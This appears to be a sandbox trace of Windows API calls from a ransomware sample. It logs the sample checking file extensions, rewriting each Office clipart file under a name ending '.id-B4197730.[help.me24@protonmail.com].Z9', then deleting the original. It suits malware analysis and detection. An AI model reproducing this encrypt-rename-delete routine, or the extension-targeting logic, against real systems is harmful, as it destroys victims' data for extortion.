	[0180.132] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0180.132] lstrlenW (lpString=".7z") returned 3
	[0180.132] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0180.132] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107722.WMF") returned 68
	[0180.132] lstrlenW (lpString=".dbf") returned 4
	[0180.133] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0180.133] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107722.WMF") returned 68
	[0180.133] lstrlenW (lpString=".1cd") returned 4
	[0180.133] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0180.133] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107722.WMF") returned 68
	[0180.133] lstrlenW (lpString=".jpg") returned 4
	[0180.133] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0180.133] lstrcmpiW (lpString1=".WMF", lpString2=".Z9") returned -1
	[0180.133] lstrlenW (lpString="J0107746.WMF") returned 12
	[0180.133] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107746.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107746.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x540
	[0180.134] GetFileSizeEx (in: hFile=0x540, lpFileSize=0x2e6ff14 | out: lpFileSize=0x2e6ff14*=4788) returned 1
	[0180.134] CloseHandle (hObject=0x540) returned 1
	[0180.134] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107746.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107746.wmf")) returned 0x220
	[0180.134] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107746.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107746.wmf.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0180.134] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107746.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107746.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x540
	[0180.135] SetFilePointerEx (in: hFile=0x540, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e6fec0 | out: lpNewFilePointer=0x0) returned 1
	[0180.135] SetFilePointerEx (in: hFile=0x540, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e6fec0 | out: lpNewFilePointer=0x0) returned 1
	[0180.135] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107746.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107746.wmf.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x520
	[0180.136] GetLastError () returned 0x0
	[0180.136] ReadFile (in: hFile=0x540, lpBuffer=0x3b7d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e6fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b7d020*, lpNumberOfBytesRead=0x2e6fecc*=0x12b4, lpOverlapped=0x0) returned 1
	[0180.150] WriteFile (in: hFile=0x520, lpBuffer=0x3b7d020*, nNumberOfBytesToWrite=0x12c0, lpNumberOfBytesWritten=0x2e6fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b7d020*, lpNumberOfBytesWritten=0x2e6fc94*=0x12c0, lpOverlapped=0x0) returned 1
	[0180.151] ReadFile (in: hFile=0x540, lpBuffer=0x3b7d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e6fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b7d020*, lpNumberOfBytesRead=0x2e6fecc*=0x0, lpOverlapped=0x0) returned 1
	[0180.151] WriteFile (in: hFile=0x520, lpBuffer=0x3b7d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2e6fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b7d020*, lpNumberOfBytesWritten=0x2e6fc94*=0xec, lpOverlapped=0x0) returned 1
	[0180.152] SetEndOfFile (hFile=0x520) returned 1
	[0180.152] CloseHandle (hObject=0x520) returned 1
	[0180.152] SetFilePointerEx (in: hFile=0x540, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e6fec0 | out: lpNewFilePointer=0x0) returned 1
	[0180.152] SetEndOfFile (hFile=0x540) returned 1
	[0180.155] CloseHandle (hObject=0x540) returned 1
	[0180.156] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107746.WMF.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0180.157] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107746.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107746.wmf")) returned 1
	[0180.158] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107746.WMF") returned 68
	[0180.159] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107746.WMF") returned 68
	[0180.159] lstrlenW (lpString=".doc") returned 4
	[0180.159] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0180.159] lstrlenW (lpString=".docx") returned 5
	[0180.159] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1
	[0180.159] lstrlenW (lpString=".pdf") returned 4
	[0180.159] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0180.159] lstrlenW (lpString=".xls") returned 4
	[0180.159] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0180.159] lstrlenW (lpString=".xlsx") returned 5
	[0180.159] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1
	[0180.159] lstrlenW (lpString=".ppt") returned 4
	[0180.159] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0180.159] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107746.WMF") returned 68
	[0180.159] lstrlenW (lpString=".zip") returned 4
	[0180.159] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0180.159] lstrlenW (lpString=".rar") returned 4
	[0180.159] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0180.159] lstrlenW (lpString=".bz2") returned 4
	[0180.159] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0180.159] lstrlenW (lpString=".7z") returned 3
	[0180.159] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0180.159] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107746.WMF") returned 68
	[0180.159] lstrlenW (lpString=".dbf") returned 4
	[0180.159] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0180.159] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107746.WMF") returned 68
	[0180.159] lstrlenW (lpString=".1cd") returned 4
	[0180.159] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0180.159] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107746.WMF") returned 68
	[0180.159] lstrlenW (lpString=".jpg") returned 4
	[0180.160] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0180.160] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107746.WMF") returned 68
	[0180.160] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107746.WMF") returned 68
	[0180.160] lstrlenW (lpString=".doc") returned 4
	[0180.160] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0180.160] lstrlenW (lpString=".docx") returned 5
	[0180.160] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1
	[0180.160] lstrlenW (lpString=".pdf") returned 4
	[0180.160] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0180.160] lstrlenW (lpString=".xls") returned 4
	[0180.160] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0180.160] lstrlenW (lpString=".xlsx") returned 5
	[0180.160] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1
	[0180.160] lstrlenW (lpString=".ppt") returned 4
	[0180.160] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0180.160] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107746.WMF") returned 68
	[0180.160] lstrlenW (lpString=".zip") returned 4
	[0180.160] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0180.160] lstrlenW (lpString=".rar") returned 4
	[0180.160] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0180.160] lstrlenW (lpString=".bz2") returned 4
	[0180.160] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0180.160] lstrlenW (lpString=".7z") returned 3
	[0180.160] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0180.160] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107746.WMF") returned 68
	[0180.160] lstrlenW (lpString=".dbf") returned 4
	[0180.160] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0180.160] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107746.WMF") returned 68
	[0180.160] lstrlenW (lpString=".1cd") returned 4
	[0180.161] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0180.161] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107746.WMF") returned 68
	[0180.161] lstrlenW (lpString=".jpg") returned 4
	[0180.161] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0180.161] lstrcmpiW (lpString1=".WMF", lpString2=".Z9") returned -1
	[0180.161] lstrlenW (lpString="J0107748.WMF") returned 12
	[0180.161] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107748.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107748.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x540
	[0180.163] GetFileSizeEx (in: hFile=0x540, lpFileSize=0x2e6ff14 | out: lpFileSize=0x2e6ff14*=8224) returned 1
	[0180.163] CloseHandle (hObject=0x540) returned 1
	[0180.163] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107748.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107748.wmf")) returned 0x220
	[0180.163] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107748.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107748.wmf.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0180.164] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107748.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107748.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x540
	[0180.164] SetFilePointerEx (in: hFile=0x540, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e6fec0 | out: lpNewFilePointer=0x0) returned 1
	[0180.164] SetFilePointerEx (in: hFile=0x540, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e6fec0 | out: lpNewFilePointer=0x0) returned 1
	[0180.164] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107748.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107748.wmf.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x520
	[0180.165] GetLastError () returned 0x0
	[0180.165] ReadFile (in: hFile=0x540, lpBuffer=0x3b7d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e6fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b7d020*, lpNumberOfBytesRead=0x2e6fecc*=0x2020, lpOverlapped=0x0) returned 1
	[0180.196] WriteFile (in: hFile=0x520, lpBuffer=0x3b7d020*, nNumberOfBytesToWrite=0x2030, lpNumberOfBytesWritten=0x2e6fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b7d020*, lpNumberOfBytesWritten=0x2e6fc94*=0x2030, lpOverlapped=0x0) returned 1
	[0180.198] ReadFile (in: hFile=0x540, lpBuffer=0x3b7d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e6fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b7d020*, lpNumberOfBytesRead=0x2e6fecc*=0x0, lpOverlapped=0x0) returned 1
	[0180.198] WriteFile (in: hFile=0x520, lpBuffer=0x3b7d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2e6fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b7d020*, lpNumberOfBytesWritten=0x2e6fc94*=0xec, lpOverlapped=0x0) returned 1
	[0180.198] SetEndOfFile (hFile=0x520) returned 1
	[0180.274] CloseHandle (hObject=0x520) returned 1
	[0180.275] SetFilePointerEx (in: hFile=0x540, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e6fec0 | out: lpNewFilePointer=0x0) returned 1
	[0180.275] SetEndOfFile (hFile=0x540) returned 1
	[0180.278] CloseHandle (hObject=0x540) returned 1
	[0180.278] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107748.WMF.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0180.292] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107748.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107748.wmf")) returned 1
	[0180.293] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107748.WMF") returned 68
	[0180.293] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107748.WMF") returned 68
	[0180.293] lstrlenW (lpString=".doc") returned 4
	[0180.293] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0180.293] lstrlenW (lpString=".docx") returned 5
	[0180.293] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1
	[0180.293] lstrlenW (lpString=".pdf") returned 4
	[0180.293] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0180.293] lstrlenW (lpString=".xls") returned 4
	[0180.293] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0180.293] lstrlenW (lpString=".xlsx") returned 5
	[0180.293] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1
	[0180.293] lstrlenW (lpString=".ppt") returned 4
	[0180.293] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0180.293] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107748.WMF") returned 68
	[0180.294] lstrlenW (lpString=".zip") returned 4
	[0180.294] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0180.294] lstrlenW (lpString=".rar") returned 4
	[0180.294] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0180.294] lstrlenW (lpString=".bz2") returned 4
	[0180.294] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0180.294] lstrlenW (lpString=".7z") returned 3
	[0180.294] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0180.294] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107748.WMF") returned 68
	[0180.294] lstrlenW (lpString=".dbf") returned 4
	[0180.294] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0180.294] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107748.WMF") returned 68
	[0180.294] lstrlenW (lpString=".1cd") returned 4
	[0180.294] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0180.294] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107748.WMF") returned 68
	[0180.294] lstrlenW (lpString=".jpg") returned 4
	[0180.294] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0180.294] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107748.WMF") returned 68
	[0180.294] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107748.WMF") returned 68
	[0180.294] lstrlenW (lpString=".doc") returned 4
	[0180.294] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0180.294] lstrlenW (lpString=".docx") returned 5
	[0180.294] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1
	[0180.294] lstrlenW (lpString=".pdf") returned 4
	[0180.294] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0180.294] lstrlenW (lpString=".xls") returned 4
	[0180.294] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0180.294] lstrlenW (lpString=".xlsx") returned 5
	[0180.294] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1
	[0180.294] lstrlenW (lpString=".ppt") returned 4
	[0180.295] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0180.295] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107748.WMF") returned 68
	[0180.295] lstrlenW (lpString=".zip") returned 4
	[0180.295] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0180.295] lstrlenW (lpString=".rar") returned 4
	[0180.295] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0180.295] lstrlenW (lpString=".bz2") returned 4
	[0180.295] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0180.295] lstrlenW (lpString=".7z") returned 3
	[0180.295] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0180.295] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107748.WMF") returned 68
	[0180.295] lstrlenW (lpString=".dbf") returned 4
	[0180.295] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0180.295] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107748.WMF") returned 68
	[0180.295] lstrlenW (lpString=".1cd") returned 4
	[0180.295] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0180.295] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107748.WMF") returned 68
	[0180.295] lstrlenW (lpString=".jpg") returned 4
	[0180.295] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0180.295] lstrcmpiW (lpString1=".WMF", lpString2=".Z9") returned -1
	[0180.295] lstrlenW (lpString="J0136865.WMF") returned 12
	[0180.295] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0136865.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0136865.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388
	[0180.297] GetFileSizeEx (in: hFile=0x388, lpFileSize=0x2e6ff14 | out: lpFileSize=0x2e6ff14*=16710) returned 1
	[0180.297] CloseHandle (hObject=0x388) returned 1
	[0180.297] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0136865.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0136865.wmf")) returned 0x220
	[0180.297] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0136865.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0136865.wmf.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0180.298] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0136865.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0136865.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388
	[0180.298] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e6fec0 | out: lpNewFilePointer=0x0) returned 1
	[0180.298] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e6fec0 | out: lpNewFilePointer=0x0) returned 1
	[0180.298] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0136865.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0136865.wmf.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a8
	[0180.299] GetLastError () returned 0x0
	[0180.299] ReadFile (in: hFile=0x388, lpBuffer=0x3b7d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e6fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b7d020*, lpNumberOfBytesRead=0x2e6fecc*=0x4146, lpOverlapped=0x0) returned 1
	[0180.343] WriteFile (in: hFile=0x4a8, lpBuffer=0x3b7d020*, nNumberOfBytesToWrite=0x4150, lpNumberOfBytesWritten=0x2e6fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b7d020*, lpNumberOfBytesWritten=0x2e6fc94*=0x4150, lpOverlapped=0x0) returned 1
	[0180.344] ReadFile (in: hFile=0x388, lpBuffer=0x3b7d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e6fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b7d020*, lpNumberOfBytesRead=0x2e6fecc*=0x0, lpOverlapped=0x0) returned 1
	[0180.344] WriteFile (in: hFile=0x4a8, lpBuffer=0x3b7d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2e6fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b7d020*, lpNumberOfBytesWritten=0x2e6fc94*=0xec, lpOverlapped=0x0) returned 1
	[0180.344] SetEndOfFile (hFile=0x4a8) returned 1
	[0180.601] CloseHandle (hObject=0x4a8) returned 1
	[0180.601] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e6fec0 | out: lpNewFilePointer=0x0) returned 1
	[0180.601] SetEndOfFile (hFile=0x388) returned 1
	[0180.606] CloseHandle (hObject=0x388) returned 1
	[0180.607] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0136865.WMF.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0180.607] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0136865.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0136865.wmf")) returned 1
	[0180.609] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0136865.WMF") returned 68
	[0180.609] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0136865.WMF") returned 68
	[0180.609] lstrlenW (lpString=".doc") returned 4
	[0180.609] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0180.609] lstrlenW (lpString=".docx") returned 5
	[0180.609] lstrcmpiW (lpString1=".docx", lpString2="5.WMF") returned -1
	[0180.609] lstrlenW (lpString=".pdf") returned 4
	[0180.609] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0180.609] lstrlenW (lpString=".xls") returned 4
	[0180.609] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0180.609] lstrlenW (lpString=".xlsx") returned 5
	[0180.609] lstrcmpiW (lpString1=".xlsx", lpString2="5.WMF") returned -1
	[0180.609] lstrlenW (lpString=".ppt") returned 4
	[0180.609] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0180.609] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0136865.WMF") returned 68
	[0180.609] lstrlenW (lpString=".zip") returned 4
	[0180.609] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0180.609] lstrlenW (lpString=".rar") returned 4
	[0180.609] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0180.609] lstrlenW (lpString=".bz2") returned 4
	[0180.609] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0180.609] lstrlenW (lpString=".7z") returned 3
	[0180.609] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0180.610] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0136865.WMF") returned 68
	[0180.610] lstrlenW (lpString=".dbf") returned 4
	[0180.610] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0180.610] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0136865.WMF") returned 68
	[0180.610] lstrlenW (lpString=".1cd") returned 4
	[0180.610] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0180.610] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0136865.WMF") returned 68
	[0180.610] lstrlenW (lpString=".jpg") returned 4
	[0180.610] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0180.610] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0136865.WMF") returned 68
	[0180.610] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0136865.WMF") returned 68
	[0180.610] lstrlenW (lpString=".doc") returned 4
	[0180.610] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0180.610] lstrlenW (lpString=".docx") returned 5
	[0180.610] lstrcmpiW (lpString1=".docx", lpString2="5.WMF") returned -1
	[0180.610] lstrlenW (lpString=".pdf") returned 4
	[0180.610] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0180.610] lstrlenW (lpString=".xls") returned 4
	[0180.610] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0180.610] lstrlenW (lpString=".xlsx") returned 5
	[0180.610] lstrcmpiW (lpString1=".xlsx", lpString2="5.WMF") returned -1
	[0180.610] lstrlenW (lpString=".ppt") returned 4
	[0180.610] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0180.610] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0136865.WMF") returned 68
	[0180.610] lstrlenW (lpString=".zip") returned 4
	[0180.610] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0180.611] lstrlenW (lpString=".rar") returned 4
	[0180.611] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0180.611] lstrlenW (lpString=".bz2") returned 4
